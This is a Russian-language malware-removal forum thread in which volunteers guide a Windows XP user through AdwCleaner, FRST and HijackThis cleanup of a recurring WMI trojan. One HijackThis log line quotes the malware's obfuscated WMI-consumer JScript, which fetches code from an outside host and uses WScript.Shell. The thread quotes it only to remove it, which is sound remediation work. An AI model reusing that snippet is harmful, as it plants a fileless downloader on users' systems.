trojan.multi.wmirun.a в system memory

[Arv1nd]

Привет всем. Постоянно появляется уведомление о том что нужно лечение с перезагрузкой. Угроза trojan.multi.wmirun.a находится в system memory. После перезагрузки какое-то время все нормально, потом опять тоже самое. Помогите пожалуйста!
Система ХР

Kaspersky endpoint security 10

CollectionLog-2018.10.23-15.50.zip

Изменено 23 октября, 2018 пользователем Arv1nd

[Sandor]

Здравствуйте!

 

Дополнительно:

• Скачайте AdwCleaner (by Malwarebytes) и сохраните его на Рабочем столе.
• Запустите его (необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать") и дождитесь окончания сканирования.
• Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\Logs\AdwCleaner[sxx].txt (где x - любая цифра).
• Прикрепите отчет к своему следующему сообщению.

Подробнее читайте в этом руководстве.

 

Только саму утилиту скачайте отсюда.

[Arv1nd]

Здравствуйте!

 

Дополнительно:

• Скачайте AdwCleaner (by Malwarebytes) и сохраните его на Рабочем столе.
• Запустите его (необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку "Scan" ("Сканировать") и дождитесь окончания сканирования.
• Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:\AdwCleaner\Logs\AdwCleaner[sxx].txt (где x - любая цифра).
• Прикрепите отчет к своему следующему сообщению.

Подробнее читайте в этом руководстве.

 

Только саму утилиту скачайте отсюда.

 

AdwCleanerS0.txt

[Sandor]

Повторите сканирование и очистите все найденное. После перезагрузки лог с символом [C0] прикрепите.

 

(Для ответа используйте поле внизу, не нужно цитировать весь предыдущий пост).

[Arv1nd]

AdwCleanerC0.txt

Изменено 23 октября, 2018 пользователем Arv1nd

[Sandor]

Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.

 

Примечание: необходимо выбрать версию, совместимую с вашей операционной системой. Если вы не уверены, какая версия подойдет для вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на вашей системе.

Когда программа запустится, нажмите Yes для соглашения с предупреждением.

 

Нажмите кнопку Scan.

После окончания сканирования будут созданы отчеты FRST.txt и Addition.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.

Подробнее читайте в этом руководстве.

[Arv1nd]

FRST.txt

Addition.txt

[Sandor]

• Отключите до перезагрузки антивирус.
• Выделите следующий код:

  Start::
  CreateRestorePoint:
  GroupPolicy: Restriction ? <==== ATTENTION
  GroupPolicy\User: Restriction ? <==== ATTENTION
  GroupPolicyScripts: Restriction <==== ATTENTION
  CHR HKU\S-1-5-21-1659004503-1844823847-682003330-1004\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
  Toolbar: HKU\S-1-5-21-1659004503-1844823847-682003330-1004 -> No Name - {09900DE8-1DCA-443F-9243-26FF581438AF} -  No File
  FF user.js: detected! => C:\Documents and Settings\Главбух\Application Data\Mozilla\Firefox\Profiles\2fhejecr.default\user.js [2015-11-11]
  FF Extension: (Домашняя страница Mail.Ru) - C:\Documents and Settings\Главбух\Application Data\Mozilla\Firefox\Profiles\2fhejecr.default\Extensions\homepage@mail.ru [2017-02-27] [Legacy]
  FF Extension: (Пульт) - C:\Documents and Settings\Главбух\Application Data\Mozilla\Firefox\Profiles\2fhejecr.default\Extensions\ntp-amigo@corp.mail.ru.xpi [2018-03-29] [Legacy]
  FF Extension: (Поиск@Mail.Ru) - C:\Documents and Settings\Главбух\Application Data\Mozilla\Firefox\Profiles\2fhejecr.default\Extensions\search@mail.ru [2017-02-27] [Legacy]
  FF Extension: (Советник Яндекс.Маркета) - C:\Documents and Settings\Главбух\Application Data\Mozilla\Firefox\Profiles\2fhejecr.default\Extensions\sovetnik@metabar.ru.xpi [2018-07-23]
  FF Extension: (Пульт) - C:\Program Files\Mozilla Firefox\distribution\extensions\ntp-amigo@corp.mail.ru.xpi [2017-02-01] [Legacy]
  EmptyTemp:
  Reboot:
  End::

• Скопируйте выделенный текст (правой кнопкой - Копировать).
• Запустите FRST (FRST64) от имени администратора.
• Нажмите Fix один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.

Компьютер будет перезагружен автоматически.

 

Подробнее читайте в этом руководстве.

 

Проверьте все расширения Мозиллы и Хрома, все ли установлены вами и удалите лишние.

 

Сообщите что с проблемой.

[regist]

+ свежие логи Автологером сделайте.

[Arv1nd]

Раньше не было возможности попасть к компьютеру...

Fixlog.txt

CollectionLog-2018.10.30-13.15.zip

[Sandor]

что с проблемой

Не сообщили.

[regist]

+

1) "Пофиксите" в HijackThis:

O4 - HKLM\..\Session Manager: [BootExecute] = C:\Program Files\Paragon Software\Drive Copy 11 Professional\bluescrn\bluescrn.exe (file missing)
O4 - MSConfig\startupreg: Acronis Scheduler2 Service [command] = C:\Program Files\Common Files\Acronis\Schedule2\schedhlp.exe (HKLM) (2017/07/04) (file missing)
O4 - MSConfig\startupreg: AcronisTimounterMonitor [command] = C:\Program Files\Acronis\TrueImageHome\TimounterMonitor.exe (HKLM) (2017/07/04) (file missing)
O4 - MSConfig\startupreg: Browser Manager [command] = C:\Documents and Settings\Главбух\Local Settings\Application Data\Yandex\BrowserManager\MBLauncher.exe (HKCU) (2017/07/04) (file missing)
O4 - MSConfig\startupreg: KernelFaultCheck [command] = C:\WINDOWS\system32\dumprep 0 -k (HKLM) (2017/07/04) (file missing)
O4 - MSConfig\startupreg: TrueImageMonitor.exe [command] = C:\Program Files\Acronis\TrueImageHome\TrueImageMonitor.exe (HKLM) (2017/07/04) (file missing)
O22 - Task (.job): GoogleUpdateTaskUserS-1-5-21-392549096-617494214-1462613952-1121Core.job - C:\Documents and Settings\glavbuh\Local Settings\Application Data\Google\Update\GoogleUpdate.exe (file missing) /c
O22 - Task (.job): GoogleUpdateTaskUserS-1-5-21-392549096-617494214-1462613952-1121UA.job - C:\Documents and Settings\glavbuh\Local Settings\Application Data\Google\Update\GoogleUpdate.exe (file missing) /ua /installsource scheduler
O25 - WMI Event: __gconsumer1 - __gfilter1 - var e,r,n,s,c,l,o=3000,p="htt"+"p:/"+"/w.gem"+"lab.top/x86/k.txt";for(s=new ActiveXObject("Micro"+"soft.XM"+"LHTTP"),x=new ActiveXObject("Scri"+"pting.Fil"+"esystemObject"),l=new ActiveXObject("WSc"+"ript.S"+"hell"),s.open("GET",p,!1),s.send(),q=s.responseText,r=q.split("\r\n"),i=0;i<r.length;i++)if(883 bytes)

 

2) - Перетащите лог Check_Browsers_LNK.log из папки AutoLogger\CheckBrowsersLNK на утилиту ClearLNK. Отчёт о работе прикрепите.

 

3) Сделайте свежие логи Автологером.

 

4) Проверьте, что с проблемой.

Изменено 30 октября, 2018 пользователем regist

[Arv1nd]

Проблема пока осталась.
После сегодняшних действий буду наблюдать.

CollectionLog-2018.10.31-10.13.zip

ClearLNK-2018.10.31_10.15.30.log

[regist]

@Arv1nd, инструкции надо выполнять в том порядке в котором они написаны. Переделайте логи Автологера.

+ ждём

 

 

После сегодняшних действий буду наблюдать.

[Arv1nd]

Больше проблема не возвращалась, единственное что, слетела активация винды. 

Спасибо за помощь! Надеюсь все будет так же и дальше)